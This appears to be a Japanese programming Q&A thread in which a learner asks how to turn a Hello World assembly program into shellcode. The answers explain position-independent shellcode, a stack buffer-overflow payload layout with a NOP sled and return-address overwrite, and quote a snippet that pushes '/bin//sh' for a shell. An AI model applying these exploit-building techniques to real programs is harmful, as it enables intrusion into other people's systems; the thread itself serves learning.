質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

ただいまの
回答率

90.03%

シェルコードとして使うにはおおざっぱに何をすればいいのか?アセンブリ言語

解決済

回答 3

投稿

  • 評価
  • クリップ 0
  • VIEW 375

kazuyakazuya

score 133

アセンブリ言語で直接CPUへ命令(システムコール)
をすることによって、"Hello World"を出力させるプログラムを作りました。

1、winAPIを使ったパターン
(winAPI関数を2回使用・・・)

LFB10:

       sub $20,%esp
       pushl   $-11            
       call    _GetStdHandle@4 
       pushl   $0              
       leal    4(%esp), %ebx   
       pushl   $0              
       pushl   %ebx            
       pushl   $14      
       pushl   $LC0            
       pushl   %eax           
       call    _WriteFile@20   
       add $20,%esp

       LC0:
               .ascii "Hello, world!\n"

2、printf関数を読んだパターン

.text
  msg: .ascii "%s\0";
  msg4: .ascii "Hello World!\0"
       .globl _main

_main:
LFB10:

sub $20,%esp 
movl $msg4,4(%esp)
movl $msg,(%esp) 
call _printf
add $20,%esp 

スライディングコード

実行される位置がランダムになってしまうため
無駄な処理をシェルコード先頭に配置してい置き
本命のコードが実行されることを期待する・・・

ための工夫(多分)

設定でランダムは消せると思うのでたぶんいらない。

バッファオーバーフロー
でシェルコードを実行させたいときは工夫が必要いわれていますが

私は自分のパソコンで作成したシェルコードを
自分のパソコンで実行させようとしています。

それなら、アドレスのランダム化も無効化してしまえばどうにかなるし

ヘッダーファイルの場所を記録するIATも

同じ端末で実行させるなら考慮しなくていいはずなので

ほぼコードを変える必要性が無いと思うのですが

参考記事

IDA Proも導入したはいいものも・・・

イメージ説明
(実行ファイルの中身を16進数で表したもの)
膨大な数のこのコード(?)
バッファオーバーフローでシェルコードとして使いたい場合
どのようなところをアレンジする必要があるのでしょうか?

![イメージ説明]
(見た感じ全部必要ですよね?)

分からないのでお願いします。

  • 気になる質問をクリップする

    クリップした質問は、後からいつでもマイページで確認できます。

    またクリップした質問に回答があった際、通知やメールを受け取ることができます。

    クリップを取り消します

  • 良い質問の評価を上げる

    以下のような質問は評価を上げましょう

    • 質問内容が明確
    • 自分も答えを知りたい
    • 質問者以外のユーザにも役立つ

    評価が高い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。

    質問の評価を上げたことを取り消します

  • 評価を下げられる数の上限に達しました

    評価を下げることができません

    • 1日5回まで評価を下げられます
    • 1日に1ユーザに対して2回まで評価を下げられます

    質問の評価を下げる

    teratailでは下記のような質問を「具体的に困っていることがない質問」、「サイトポリシーに違反する質問」と定義し、推奨していません。

    • プログラミングに関係のない質問
    • やってほしいことだけを記載した丸投げの質問
    • 問題・課題が含まれていない質問
    • 意図的に内容が抹消された質問
    • 広告と受け取られるような投稿

    評価が下がると、TOPページの「アクティブ」「注目」タブのフィードに表示されにくくなります。

    質問の評価を下げたことを取り消します

    この機能は開放されていません

    評価を下げる条件を満たしてません

    評価を下げる理由を選択してください

    詳細な説明はこちら

    上記に当てはまらず、質問内容が明確になっていない質問には「情報の追加・修正依頼」機能からコメントをしてください。

    質問の評価を下げる機能の利用条件

    この機能を利用するためには、以下の事項を行う必要があります。

質問への追記・修正、ベストアンサー選択の依頼

  • asm

    2019/10/27 12:48 編集

    一応、私が言った事のなかで誤解されてそうなものを修正しとくと
    > ヘッダーファイルの場所を記録するIATも
    > 同じ端末で実行させるなら考慮しなくていいはずなので
    は言った覚えがないです。
    同一環境ならばアドレスが同一(な事が多い)ですが、IATの仕組み上呼び方に工夫が必要です。

    それと私の立場としては、「アセンブラでやらないとどうしようもない部分が存在する」です。

    キャンセル

  • kazuyakazuya

    2019/10/27 12:50

    了解です。

    キャンセル

回答 3

checkベストアンサー

+4

先の質問に対する回答の中でも触れましたが、シェルコードとして実行させるというのは実行中の別の (脆弱性がある) プログラムの中に差し込んで実行させます。 それによって既に走っているプログラムの権限を乗っ取るのが基本的な形です。 ですから、シェルコード自体にはセクションも何もないです。

しいて言えば .text 相当のみがある状態と言えます。

失礼な言葉になってしまうかもしれませんが、質問者はシェルコードがどういうものなのか理解するのに充分な前提知識がありません。 先に触れたことを理解していな状態で似たような次の質問をどんどん連投するのはあまりよくないですね。 まずは普通のアプリケーションプログラムを満足に書ける程度にはなってから次の段階へ移るべきだと思いますが、どうしてもシェルコードというものに興味があるのだということであれば「Hacking: 美しき策謀 ―脆弱性攻撃の理論と実際」という本が手頃だと思います。 安価ですし。

投稿

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2019/10/27 12:49

    分かりました。
    出直します。ありがとうございました。

    キャンセル

+1

アレンジ可能かどうか具体的なアドバイスは可能だと思う、と書いた手前、回答してみる。

  • 攻撃対象のプログラムは scanf() 等で、スタック上の文字配列(ローカル変数)にシェルコードを読み込み、バッファオーバーランを起こす
  • 攻撃対象プログラムの文字配列の先頭アドレスがわかる
  • 攻撃対象プログラムの_printf のアドレスがわかる
  • 上記の printf() を呼ぶパターン

という前提で考えてみた。SaitoAtsushiさん曰く

しいて言えば .text 相当のみがある状態

であって、〜〜ヘッダ領域などは一切不要。
さらに切り詰めれば、おおよそ次のようなコードがあれば良いのではないか。

shcode:
    movl    $shcode-8, %esp # スタックポインタを調整
    movl    $msg,(%esp) 
    call    _printf         # printf("Hello World!\n") ;
    ret                     # 表示後、どうすれば良い?

msg:
    .ascii  "Hello World!\n\0"
    .rept   20              # バッファオーバーランするバイト数
    .byte   0x90
    .endr
    .long   shcode          # 実際は配列の先頭アドレス


ただし、このコードは動作確認も何もしていない、アイディアだけ。次のような箇所を質問者自身で判断し、値を決定しなくてはならない。

  • このコードは攻撃対象の文字配列のあるスタック領域に読み込まれて動作するのだから、下手をすると printf()等が、このコード自身を上書きしてしまうかもしれない、なので先頭でスタックポインタを調整すると良いかも、それにはスタックポインタ %esp がコード先頭付近をポイントすれば、このコードを壊されずにすむだろう、というアイディア。ただし、文字配列に十分な大きさがあって、そこをスタックとして printf() 等が動作できるなら、こんなことをする必要はない。
  • movl $msg,(%esp) と call _printf の2行が表示の本体。ただし、call命令は E8 xx xx xx xx ではなく、_printf の絶対番地を呼び出す ff 25 xx xx xx xx に変更したほうがよさそう(さらに syscall で表示するなら、_printfのアドレスを知らなくてもよい)。
  • 最後の ret 命令は全く適当でない。ここで何をすべきかアイディアが無い。
  • .rept 〜 .endr は0x90(NOP命令)を必要な個数だけ並べて配列を溢れさせるもの(「20」はテキトーに書いた値)。
  • .long shcode はリターンアドレスを上書きする値。これでコード先頭(shcode)へ制御を移動させることになる。値は攻撃対象の文字配列の先頭アドレスになるはず。.long は 32bit の値の場合であって、64bit にするなら代りに .quad という擬似命令がある。

これら全てで数十〜100バイト程度の機械語(攻撃対象関数のスタックフレームに応じた大きさ)、即ちシェルコードになると思う。

ただし、これをアセンブルしただけでは、目的のシェルコードは得られない。アセンブルさせてみた上で、バイナリエディタなどでファイル化するのが、愚直だが確実な方法だと思う。アセンブラ・リンカなど、正規の使い方で作れるものではないのだから工夫が要る。


"Hello World!"を出力するプログラムを作ったとして
コンパイルした機械語をアレンジする必要があるのですか?

「〜を出力するプログラム」は、自分自身の、通常のメモリ配置で動作するが、
シェルコードは他人(攻撃対象)が動作するメモリアドレスで動作しなければならない。プログラムコード領域(コードセグメント?)で動作する想定でコンパイルされるコードが、攻撃対象のスタック領域(スタックセグメント?)で動作することになる(のだよね?)。

つまり動作環境(メモリアドレス)がガラっと変わる事を忘れてはいけない。コードの配置場所が違ってしまうので、関数呼出し等ができなくなったり、文字列のようなデータの在り処(メモリアドレス)が変わってしまうという事。だからアレンジが必要になる。

結論的に言えそうな事は、シェルコード中の命令で、オペランドにメモリアドレスが現れる命令が要注意だと思う。私が示したコードでは、次の4行。

  • movl $shcode-8, %esp
  • movl $msg,(%esp) 
  • call _printf
  • .long shcode

一方、シェルコード書いてみたのアセンブリコード connect.s には要注意な命令は無い。connect.s をアセンブルして得られた機械語はそのまま利用可能と思われる。その違いをまとめると次のようになる。

  • スタックポインタを変更していない("movl $shcode-8,%esp" 相当の操作無し)
  • 文字列 "/bin//sh" をそのままpushしている("movl $msg,(%esp)" に相当)
  • syscall 命令を使う("call _printf" ではなく)
  • リターンアドレスを上書きする値を含んでいない(".long shcode" が無い)

文字列をpushする部分はこう。

  xor  rcx, rcx                 /* rcx := 0 */
  push rcx                      /* push した 0'\0' の代り */
  mov  rax, 0x68732f2f6e69622f  /* == "/bin//sh" */
  push rax                      /* スタックに 8 文字を push */
  mov  rdi, rsp                 /* その時の rsp が文字列先頭アドレス */


スタックに文字列の先頭アドレスを push するのではなく、8文字の文字列(8文字==64bit)そのものを直接 push するのがミソで、push 直後のスタックポインタ rsp の値が文字列先頭アドレスになる。このようなコードはスタック領域が何番地でも問題無く動くからアレンジは不要。

printf() を使わず、syscall を使うことは大きい。
まず、printf() 関数のアドレスを調べる必要が無い。そして、syscall で出力するなら、スタックポインタの変更(movl $shcode-8,%esp)をしなくても良い可能性が高い。

printf() は関数だから、その実行にはそれなりのスタック領域が必要だが、何バイト必要なのか簡単にはわからない。そこで私のコードは安全策をとって、スタックポインタを変更した。
一方、syscall 命令は、その時点でOS内部のコードへ処理が遷移すると同時に、スタックポインタがOS用のスタック領域に切り替わる。そのため、こちらのコードに必要なスタックサイズは少量で済み、かつ見積りが可能になる(=push するバイト数を数えれば良い)。

文字列をpushする事とsyscall命令を使う事は、メモリアドレスが現れる命令をなるべく使わないための、標準的な工夫と言えるだろう。

いずれにしても、(攻撃対象プロセスの)スタック領域を、どう使おうとしているか、目に見えていないことには、何が問題かも理解できないと思う。一命令ごとに動作をトレースできないようでは(略)。

ところで、リンクのページでは 167 バイトのシェルコードを得ている。しかし、リターンアドレスを上書きする値も、バッファを溢れさせる nop 命令列も無いので、そのままでは攻撃できない事に気づいているだろうか。結局、その2つを付け足すアレンジは最低限要るはずだ。

投稿

編集

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2019/11/09 12:20

    わかりました。とりあえずやってみます。

    キャンセル

  • 2019/11/09 12:32

    nasmについて知りたいのなら(nasmに言及してない)人に頼るのではなくまずはマニュアルを見ることです
    https://www.nasm.us/xdoc/2.14.02/html/nasmdoc2.html#section-2.1.2
    https://www.nasm.us/xdoc/2.14.02/html/nasmdoc7.html

    キャンセル

  • 2019/11/09 12:56

    ありがとうございます。

    マニュアルがあったんですね。。。

    キャンセル

+1

インポートライブラリを使うことは無理なので(詳しくはデバッガや逆アセンブラで、生成されている機械語を見てください)
まず、アドレスを特定する

#include <windows.h>
#include <stdio.h>

int main(){
    HINSTANCE KernelDll = GetModuleHandle("Kernel32.dll");
    void* WriteFile = GetProcAddress(KernelDll, "WriteFile");
    void* GetStdHandle = GetProcAddress(KernelDll, "GetStdHandle");
    void* ExitProcess  = GetProcAddress(KernelDll, "ExitProcess");

    printf("KernelDll = %p\n%%define WriteFile 0x%p\n%%define GetStdHandle 0x%p\n", KernelDll, WriteFile, GetStdHandle);
    printf("%%define ExitProcess 0x%p", ExitProcess);
}

それを用いて

; 注: gasではなくnasmアセンブラを用いること
bits 32
; 以下に上のプログラムで特定したアドレスを入れる
%define WriteFile 0xFFFFFFFF
%define GetStdHandle 0xFFFFFFFF
%define ExitProcess 0xFFFFFFFF
; global _main
; section .text
; _main:
xor ebx, ebx
push -11
mov eax, GetStdHandle  ; GetStdHandle(-11)
call eax

push ebx               ; "\0"
push 0x0A0D444C        ; "LD\r\n"
push 0x524F574F        ; "OWOR"
push 0x4C4C4548        ; "HELL"
mov edx, esp           ; edx = "HELLOWORLD\r\n\0"

push ebx; NULL
push esp; &written
push 13 ; len
push edx; buf
push eax; stdout
mov eax, WriteFile     ; WriteFile(stdout, buf, len, &written, NULL)
call eax

push ebx
mov eax, ExitProcess
call eax

にてそれっぽいものができました。

投稿

編集

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2019/11/01 13:25

    さっき、私が言った関数のアドレスとは

    関数を使うため(printfとか)
    関数自体が定義されている場所を知らせなければいけない。
    だから、スタックに積んで場所を指定するのではないか?
    という意味のほうです。

    asmさんが言っているのは
    >別のセグメントに置かれるから
    関数定義されているファイル自体の場所・メモリのセグメント
    のことですよね?

    キャンセル

  • 2019/11/01 14:27

    > 関数定義されているファイル自体の場所・メモリのセグメントのことですよね?
    OS(のイメージローダーLdr)によるIAT(主に.idata)の解析・書き換えが行われない事を指しています。

    ところで、シェルコード内部に定数としては埋め込みましたが、スタックに積んだ覚えはありません。
    シェルコード自体をスタックに読み込むのだから「スタックに積んでいる」も間違いではありませんが
    別にヒープに読み込んでも動くつもりで、その場合はスタックには積まない筈ですが

    キャンセル

  • 2019/11/01 14:35

    >ところで、シェルコード内部に定数としては埋め込みましたが

    すみません。言葉のミスです。

    キャンセル

15分調べてもわからないことは、teratailで質問しよう!

  • ただいまの回答率 90.03%
  • 質問をまとめることで、思考を整理して素早く解決
  • テンプレート機能で、簡単に質問をまとめられる